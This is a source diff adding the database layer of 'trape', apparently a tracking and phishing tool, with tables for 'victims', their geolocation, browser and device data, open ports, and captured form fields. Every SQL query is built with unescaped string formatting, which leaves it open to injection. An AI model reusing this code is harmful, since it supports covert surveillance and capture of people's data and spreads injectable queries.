|
| 1 | +#!/usr/bin/env python |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +#** |
| 4 | +# |
| 5 | +######### |
| 6 | +# trape # |
| 7 | +######### |
| 8 | +# |
| 9 | +# trape depends of this file |
| 10 | +# For full copyright information this visit: https://github.com/boxug/trape |
| 11 | +# |
| 12 | +# Copyright 2017 by boxug / <[email protected]> |
| 13 | +#** |
| 14 | + |
| 15 | +import sqlite3 |
| 16 | + |
| 17 | +conn = sqlite3.connect("database.db", check_same_thread=False) |
| 18 | + |
| 19 | +def create_db(): |
| 20 | + c = conn.cursor() |
| 21 | + |
| 22 | + c.execute("""CREATE TABLE IF NOT EXISTS "geo" ( `id` TEXT, `city` TEXT, `country_code` TEXT, `country_name` TEXT, `ip` TEXT, `latitude` TEXT, `longitude` TEXT, `metro_code` TEXT, `region_code` TEXT, `region_name` TEXT, `time_zone` TEXT, `zip_code` TEXT, `isp` TEXT, `ua` TEXT, PRIMARY KEY(`id`) )""") |
| 23 | + c.execute("""CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""") |
| 24 | + c.execute("""CREATE TABLE IF NOT EXISTS "requests" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )""") |
| 25 | + c.execute("""CREATE TABLE IF NOT EXISTS "victims" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status` TEXT )""") |
| 26 | + c.execute("""CREATE TABLE IF NOT EXISTS "clicks" ( `id` TEXT, `site` TEXT, `date` TEXT )""") |
| 27 | + conn.commit() |
| 28 | + return True |
| 29 | + |
| 30 | +def sql_execute(sentence): |
| 31 | + c = conn.cursor() |
| 32 | + c.execute(sentence) |
| 33 | + return c.fetchall() |
| 34 | + |
| 35 | +def sql_one_row(sentence, column): |
| 36 | + c = conn.cursor() |
| 37 | + c.execute(sentence) |
| 38 | + return c.fetchone()[column] |
| 39 | + |
| 40 | +def sql_insert(sentence): |
| 41 | + c = conn.cursor() |
| 42 | + c.execute(sentence) |
| 43 | + conn.commit() |
| 44 | + return True |
| 45 | + |
| 46 | +def prop_sentences_stats(type, vId = None): |
| 47 | + return { |
| 48 | + 'get_data' : "SELECT victims.*, geo.*, victims.ip AS ip_local, COUNT(clicks.id) FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC", |
| 49 | + 'all_networks' : "SELECT networks.* FROM networks ORDER BY id", |
| 50 | + 'get_preview' : "SELECT victims.*, geo.*, victims.ip AS ip_local FROM victims INNER JOIN geo ON victims.id = geo.id WHERE victims.id = '%s'" % (vId), |
| 51 | + 'id_networks' : "SELECT networks.* FROM networks WHERE id = '%s'" % (vId), |
| 52 | + 'get_requests' : "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ", |
| 53 | + 'get_sessions' : "SELECT COUNT(*) AS Total FROM networks", |
| 54 | + 'get_clicks' : "SELECT COUNT(*) AS Total FROM clicks", |
| 55 | + 'get_online' : "SELECT COUNT(*) AS Total FROM victims WHERE status = '%s'" % ('online') |
| 56 | + }.get(type, False) |
| 57 | + |
| 58 | +def sentences_stats(type, vId = None): |
| 59 | + return sql_execute(prop_sentences_stats(type, vId)) |
| 60 | + |
| 61 | +def prop_sentences_victim(type, data = None): |
| 62 | + if type == 'count_victim': |
| 63 | + return "SELECT COUNT(*) AS C FROM victims WHERE id = '%s'" % (data) |
| 64 | + elif type == 'count_times': |
| 65 | + return "SELECT COUNT(*) AS C FROM clicks WHERE id = '%s'" % (data) |
| 66 | + elif type == 'update_victim': |
| 67 | + return "UPDATE victims SET ip = '%s', date = '%s', bVersion = '%s', browser = '%s', device = '%s', ports = '%s', time = '%s', cpu = '%s', status = '%s' WHERE id = '%s'" % (data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1]) |
| 68 | + elif type == 'update_victim_geo': |
| 69 | + return "UPDATE geo SET city = '%s', country_code = '%s', country_name = '%s', ip = '%s', latitude = '%s', longitude = '%s', metro_code = '%s', region_code = '%s', region_name = '%s', time_zone = '%s', zip_code = '%s', isp = '%s', ua='%s' WHERE id = '%s'" % (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1]) |
| 70 | + elif type == 'insert_victim': |
| 71 | + return "INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES('%s','%s', '%s','%s', '%s','%s', '%s', '%s', '%s', '%s')" % (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online') |
| 72 | + elif type == 'insert_victim_geo': |
| 73 | + return "INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua) VALUES('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua) |
| 74 | + elif type == 'count_victim_network': |
| 75 | + return "SELECT COUNT(*) AS C FROM networks WHERE id = '%s' AND network = '%s'" % (data[0], data[1]) |
| 76 | + elif type == 'delete_networks': |
| 77 | + return "DELETE FROM networks WHERE id = '%s'" % (data[0]) |
| 78 | + elif type == 'update_network': |
| 79 | + return "UPDATE networks SET date = '%s' WHERE id = '%s' AND network = '%s'" % (data[2], data[0], data[1]) |
| 80 | + elif type == 'insert_networks': |
| 81 | + return "INSERT INTO networks(id, public_ip, ip, network, date) VALUES('%s','%s', '%s', '%s','%s')" % (data[0], data[1], data[2], data[3], data[4]) |
| 82 | + elif type == 'insert_requests': |
| 83 | + return "INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES('%s', '%s','%s', '%s', '%s','%s', '%s')" % (data[0].sId, data[0].id, data[0].site, data[0].fid, data[0].name, data[0].value, data[1]) |
| 84 | + elif type == 'insert_click': |
| 85 | + return "INSERT INTO clicks(id, site, date) VALUES('%s', '%s','%s')" % (data[0], data[1], data[2]) |
| 86 | + elif type == 'report_online': |
| 87 | + return "UPDATE victims SET status = '%s' WHERE id = '%s'" % ('online', data[0]) |
| 88 | + elif type == 'clean_online': |
| 89 | + return "UPDATE victims SET status = '%s' " % ('offline') |
| 90 | + elif type == 'disconnect_victim': |
| 91 | + return "UPDATE victims SET status = '%s' WHERE id = '%s'" % ('offline', data) |
| 92 | + else: |
| 93 | + return False |
| 94 | + |
| 95 | +def sentences_victim(type, data = None, sRun = 1, column = 0): |
| 96 | + if sRun == 2: |
| 97 | + return sql_insert(prop_sentences_victim(type, data)) |
| 98 | + elif sRun == 3: |
| 99 | + return sql_one_row(prop_sentences_victim(type, data), column) |
| 100 | + else: |
| 101 | + return sql_execute(prop_sentences_victim(type, data)) |
0 commit comments